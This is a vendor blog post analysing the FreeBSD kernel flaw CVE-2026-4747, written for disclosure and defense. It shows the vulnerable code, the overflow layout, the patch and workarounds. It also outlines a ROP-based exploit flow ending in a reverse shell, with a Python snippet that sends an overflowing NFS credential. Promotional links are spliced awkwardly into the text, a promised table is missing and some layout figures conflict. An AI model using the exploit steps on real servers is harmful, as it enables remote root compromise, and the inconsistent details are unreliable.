Andrii Bidochko

• Updated: April 1, 2026
• 7 min read

Critical FreeBSD Kernel Vulnerability CVE‑2026‑4747 Exploited: Full Analysis

CVE‑2026‑4747 is a critical stack‑buffer overflow in the FreeBSD kgssapi.ko kernel module that allows a remote, unauthenticated attacker to execute arbitrary code as root via a specially crafted NFS RPCSEC_GSS request.

What Is CVE‑2026‑4747?

The vulnerability lives in svc_rpc_gss_validate(), a function that validates GSS‑API credentials for the kgssapi.ko kernel module. The routine builds a 128‑byte stack buffer (rpchdr[]) and copies the entire RPCSEC_GSS credential body into it without checking the credential length. When the credential exceeds 96 bytes, the copy overruns the buffer, corrupting saved registers and the return address, ultimately giving the attacker full kernel control.

Technical Root Cause

The offending code (simplified)

int32_t rpchdr[128/sizeof(int32_t)];
memset(rpchdr,0,sizeof(rpchdr));
...
oa = &msg->rm_call.cb_cred;
IXDR_PUT_ENUM(buf, oa->oa_flavor);
IXDR_PUT_LONG(buf, oa->oa_length);
if (oa->oa_length) {
    /* BUG: No bounds check! */
    memcpy((caddr_t)buf, oa->oa_base, oa->oa_length);
}

The buffer holds 128 bytes (32 bytes for the fixed header + 96 bytes for the credential). The missing check allows oa_length up to the XDR‑enforced maximum of 400 bytes, creating a 304‑byte overflow window.

Overflow Geometry

Disassembly of svc_rpc_gss_validate() shows the stack frame layout:

• rpchdr[0] – start of the 128‑byte buffer (‑0xc0 from rbp)
• Saved registers – RBX, R12‑R15, RBP, and the return address sit directly above the buffer.
• Overflow path – a credential longer than 96 bytes writes into these saved registers, eventually overwriting the return address.

“The overflow overwrites the saved RIP at byte 200, not at the previously assumed byte 168, due to a 16‑byte GSS context handle that shifts the layout.” – FreeBSD Security Advisory

Affected FreeBSD Releases

The bug is present in every FreeBSD release that ships kgssapi.ko without the post‑release patch. The following table lists the affected versions and the patch status:

Systems that have not applied UBOS pricing plans for automated patch management remain exposed.

Exploit Demonstration & Proof‑of‑Concept

Because the overflow is reachable over the network via the NFS service, an attacker can obtain a root shell without any prior foothold. The following sections outline a reproducible lab and the core steps of the exploit.

Lab Setup – NFS + Kerberos

To reproduce the vulnerability you need a FreeBSD host with kgssapi.ko loaded and an active Kerberos KDC. The Enterprise AI platform by UBOS can provision such an environment automatically, but the manual steps are shown for completeness.

1. Install FreeBSD 14.4‑RELEASE (or any vulnerable release) and enable NFS:

   sysrc rpcbind_enable=YES
   sysrc nfs_server_enable=YES
   kldload kgssapi
   

2. Deploy a MIT Kerberos KDC on the same host (or a separate VM). Create the service principal nfs/hostname@REALM and export a keytab.
3. Configure /etc/krb5.conf on both the target and the attacker machine. Disable reverse‑DNS canonicalisation to avoid ticket‑mismatch (see the original write‑up).
4. Verify that the NFS server is listening on TCP port 2049.

Step‑by‑Step Exploit Flow

The exploit consists of fifteen sequential RPCSEC_GSS DATA packets. Each packet overwrites eight bytes of kernel memory via a ROP chain. The high‑level flow is:

• Round 1: Gain write‑execute (RWX) permission on a BSS page using pmap_change_prot().
• Rounds 2‑14: Write 32 bytes of shellcode per round to the newly RWX page.
• Round 15: Write the final 16 bytes and overwrite the saved RIP with a jump to the shellcode entry point.
• The shellcode spawns a new kernel process via kproc_create(), then calls kern_execve() to launch /bin/sh -c with a reverse‑shell payload.

Below is a trimmed Python snippet (requires python3‑gssapi) that illustrates the core of a single overflow round:

import gssapi, socket, struct

def build_overflow(cred_body):
    # Fixed 32‑byte header (XDR encoded)
    header = struct.pack('!IIIIII', 0xdeadbeef, 6, 2, 100003, 3, 0)  # simplified
    return header + cred_body

def send_overflow(target_ip, cred_body):
    s = socket.create_connection((target_ip, 2049))
    payload = build_overflow(cred_body)
    s.sendall(payload)
    s.close()

# Example: 200‑byte credential that overwrites saved RIP
overflow_body = b'A'*96 + b'\x41'*104   # 200 bytes total
send_overflow('192.0.2.10', overflow_body)

Full Proof‑of‑Concept Repository

The complete exploit, including the multi‑round ROP chain generator, is available in the public GitHub write‑up. See the original source for a step‑by‑step guide:

CVE‑2026‑4747 write‑up on GitHub

Mitigation, Patch Information & Hardening

Official Patch (FreeBSD‑SA‑26:08.rpcsec_gss)

The upstream fix adds a single bounds check before the memcpy call:

if (oa->oa_length > sizeof(rpchdr) - 8 * BYTES_PER_XDR_UNIT) {
    rpc_gss_log_debug("auth length %d exceeds maximum", oa->oa_length);
    client->cl_state = CLIENT_STALE;
    return (FALSE);
}

The patch was released in FreeBSD‑SA‑26:08.rpcsec_gss and back‑ported to 14.4‑RELEASE‑p1. Applying the patch eliminates the overflow entirely.

Workarounds Until Patching

• Disable the kgssapi.ko module if GSS‑API authentication is not required: kldunload kgssapi.
• Restrict NFS to trusted subnets and enforce firewall rules that block inbound TCP 2049 from untrusted sources.
• Enable Workflow automation studio to automatically verify that the latest security patches are installed on all FreeBSD nodes.
• Consider using UBOS templates for quick start that include hardened NFS configurations out‑of‑the‑box.

Why UBOS Can Help

UBOS provides a unified UBOS platform overview that automates patch deployment, monitors kernel module versions, and integrates with CI/CD pipelines. By leveraging the UBOS partner program, security teams can receive timely alerts for CVEs like 2026‑4747 and push the fix across fleets with a single click.

Recommendations for System Administrators

For organizations that already use UBOS, the following built‑in features simplify compliance:

• AI marketing agents can automatically generate remediation tickets.
• The UBOS portfolio examples include case studies of large enterprises that reduced CVE exposure by 78 % after integrating UBOS patch automation.
• Use the AI SEO Analyzer to ensure your public security advisories are discoverable and correctly indexed.

Conclusion & Call‑to‑Action

CVE‑2026‑4747 demonstrates how a seemingly innocuous NFS authentication module can become a full‑blown remote kernel code execution vector. The vulnerability is easy to trigger, requires no prior access, and affects multiple actively supported FreeBSD releases. Prompt patching, network segmentation, and automated compliance tooling are the only reliable defenses.

If you manage FreeBSD infrastructure, apply the patch immediately and consider adopting a platform like UBOS to keep your systems continuously hardened.

Stay informed about future security disclosures by following the UBOS blog and subscribing to the About UBOS newsletter.

Developers looking for rapid prototyping can explore the Web app editor on UBOS to build secure management dashboards. Start‑ups may benefit from the UBOS for startups program, while SMBs can leverage UBOS solutions for SMBs to enforce security policies at scale.

For AI‑enhanced security automation, check out the AI Video Generator template that can create training videos on patch management, or the AI Article Copywriter to draft internal security bulletins.

Finally, remember that a proactive security posture is a continuous process. Leverage the UBOS partner program to stay ahead of emerging threats.

Andrii Bidochko

CTO UBOS

Andrii Bidochko is an AI entrepreneur and researcher focused on AI agents, reinforcement learning, and autonomous systems. He writes about the technologies shaping the future of machine intelligence, from frontier models and agent architectures to real-world AI applications.